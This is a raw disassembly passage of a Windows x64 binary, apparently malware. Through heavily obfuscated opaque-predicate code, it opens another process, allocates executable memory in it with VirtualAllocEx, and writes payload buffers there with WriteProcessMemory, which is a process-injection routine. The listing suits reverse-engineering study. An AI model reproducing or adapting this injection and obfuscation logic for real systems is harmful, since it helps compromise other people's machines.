movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
jmp 0x1400597f8
mov eax, dword [rsp + 0x70]
cmp r12d, eax
jl 0x14005adb7
mov r8d, r14d
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005adb7
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, r15
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140059908
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140059908
mov edi, esi
jmp 0x14005999c
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140059998
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si edi, xmm0
jmp 0x14005999c
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x14005adb7
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x6c2
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005adab
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, r12
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140059aff
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140059aff
mov r14d, esi
jmp 0x140059b95
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140059b90
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si r14d, xmm0
jmp 0x140059b95
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
je 0x14005adab
mov dword [0x14087f448], 8
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140059cd2
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x140059e81
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140059d62
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si eax, xmm0
jmp 0x140059d66
mov eax, dword [rsp + 0x70]
xor edi, edi
cmp edi, eax
jl 0x140059e83
mov r13d, dword [rsp + 0x70]
lea rdx, [rbp + 0x70]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a5c2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cmp r13d, 2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mov rax, rdi
cvtdq2pd xmm0, xmm0
sete al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140059e8f
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140059e8f
mov r14d, esi
jmp 0x140059f25
xor edi, edi
mov r13d, dword [0x14087f448]
jmp 0x140059d75
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140059f20
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si r14d, xmm0
jmp 0x140059f25
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
je 0x140059f92
xor r13d, r13d
lea r8, [0x14087b680]
mov r9d, 0x2d4
mov qword [rsp + 0x20], r13
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, eax
jmp 0x14005a5c9
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a5c2
call fcn.140012bd0
movsx edx, byte [0x14087fc72]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*2]
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx edx, al
xorps xmm2, xmm2
movsx eax, byte [reloc.WS2_32.dll_closesocket]
add edx, ebx
add eax, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a0b7
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14005a0b7
mov edi, esi
jmp 0x14005a14b
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a147
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si edi, xmm0
jmp 0x14005a14b
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x14005a6c6
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x1406ab128]
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a23b
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x14005a2a4
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a2a4
movzx eax, byte [reloc.WS2_32.dll_htons]
call fcn.140012bf0
call fcn.140012bc0
call fcn.140012bb0
movzx eax, byte [str._b_t3p]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rsp + 0x78]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a5c2
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 2
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
xorps xmm2, xmm2
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a3d5
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14005a3d5
mov edi, esi
jmp 0x14005a469
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a465
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si edi, xmm0
jmp 0x14005a469
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x14005a5c2
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x1406ab130]
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a559
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
jne 0x14005a5c2
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a5c2
movzx eax, byte [reloc.WS2_32.dll_htons]
call fcn.140012bf0
call fcn.140012bc0
call fcn.140012bb0
movzx eax, byte [str._b_t3p]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm0, qword [rsp + 0x78]
xor r13d, r13d
mov edi, dword [rsp + 0x60]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005ad94
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, edi
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a8d3
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14005a8d3
mov r14d, esi
jmp 0x14005a969
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a5c2
cmp dword [rbp + 0x70], 0
jne 0x14005a719
cmp r13d, 8
jne 0x14005a719
xor r13d, r13d
jmp 0x14005a720
xor r13d, r13d
mov qword [rbp + 8], r13
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rbp + 8]
mulsd xmm1, xmm0
movsd qword [rsp + 0x78], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a7d2
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14005a7d2
mov edi, esi
jmp 0x14005a866
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a862
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si edi, xmm0
jmp 0x14005a866
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x14005a5c5
mov r9d, 0x3ee
mov qword [rsp + 0x20], r13
lea r8, [0x14087b290]
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, eax
jmp 0x14005a5c9
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14005a964
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x78]
cvttsd2si r14d, xmm0
jmp 0x14005a969
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 2
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
je 0x14005ad94
mov rax, qword gs:[0x30]
mov r9, r12
mov qword [rsp + 0x30], r13
xor edx, edx
